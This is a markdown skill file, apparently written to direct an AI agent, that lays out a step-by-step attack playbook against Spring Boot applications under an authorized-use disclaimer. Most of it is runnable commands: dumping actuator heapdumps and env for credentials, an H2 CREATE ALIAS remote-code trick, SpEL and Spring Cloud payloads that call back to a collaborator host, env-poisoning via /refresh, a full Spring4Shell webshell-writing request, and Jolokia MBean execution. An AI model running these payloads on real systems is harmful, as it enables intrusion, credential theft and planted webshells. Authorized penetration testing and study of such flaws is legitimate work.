⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities
Crown Jewel Targets
Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.
Highest-value findings:
/actuator/heapdump— full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory/actuator/env— lists all environment variables and Spring properties including secrets/actuator/shutdown— POST → shuts down the application (Critical availability impact)- H2 Console (
/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE viaCREATE ALIAStrick - SpEL injection — Spring Expression Language in template fields,
@Valueannotations, SpEL-processed request params → RCE - Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding
Phase 1 — Fingerprint Spring Boot
# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
# Try common base paths
for base in "" "/manage" "/management" "/app"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done
Phase 2 — Actuator Endpoint Enumeration
BASE="https://$TARGET/actuator"
# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
"loggers" "info" "health" "configprops" "shutdown" "trace"
"httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
"flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do
# Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
# page for many paths. Require actuator-shaped JSON (or a heapdump body)
# before calling it EXPOSED.
BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
echo "[+] EXPOSED: $BASE/$EP"
fi
done
# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort
# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
Phase 3 — Heap Dump Analysis
# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof
# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
grep -v "^[a-z_]" | sort -u | head -50
# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/
Phase 4 — H2 Console RCE
# H2 console detection
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
curl -s "https://$TARGET/console" | grep -i "H2"
# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb
# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
# Runtime rt = Runtime.getRuntime();
# String[] commands = {"sh","-c",cmd};
# Process proc = rt.exec(commands);
# return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');
Phase 5 — SpEL Injection
# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow
# Basic SpEL test
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed
# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
-d "test"
Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)
If the gateway actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):
curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
-d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"
Phase 5c — Writable /env -> /refresh gadget RCE
When /actuator/env accepts POST and /actuator/refresh exists, poison a property then reload:
# logback JNDI:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
# Eureka XStream deserialization:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
curl -s -X POST "$BASE/actuator/refresh"
(Veracode: Exploiting Spring Boot Actuators.)
Phase 6 — Spring4Shell (CVE-2022-22965)
# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment
# Detection: does the app accept class.* parameters?
curl -s "https://$TARGET/api/user" \
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback
# Exploitation: write webshell via class loader
curl -s "https://$TARGET/login" \
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
Phase 7 — Jolokia JMX Exposure
# Jolokia provides HTTP access to JMX MBeans
curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
# List all MBeans
curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
# Read system properties via Jolokia (may expose credentials)
curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
# Exec MBean operations (potential RCE via MLet)
curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
Chain Table
| Spring Boot finding | Chain to | Impact |
|---|---|---|
/actuator/heapdump | Extract DB passwords, API keys from memory | Critical credential exfil |
/actuator/env | Read all env vars including secrets | High |
| H2 console accessible | CREATE ALIAS → RCE | Critical |
| SpEL injection | T(Runtime).exec() → OS command | Critical RCE |
| Spring4Shell | Write webshell → RCE | Critical |
| Jolokia + MLet | Remote code via MBean | Critical RCE |
Validation
✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file
✅ Actuator/env: secrets visible in JSON response
✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received
✅ H2 console: SQL executed, id output returned
Severity:
- Heapdump with credentials: Critical
- SpEL RCE: Critical
- H2 console RCE: Critical
- Actuator env (passwords exposed): High
- Mappings disclosure only: Low-Medium
When to Use
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
Limitations
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see
triage-validation) before reporting; report viareport-writing. Prefer a sandbox, disposable VM, or controlled lab.
Example
# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.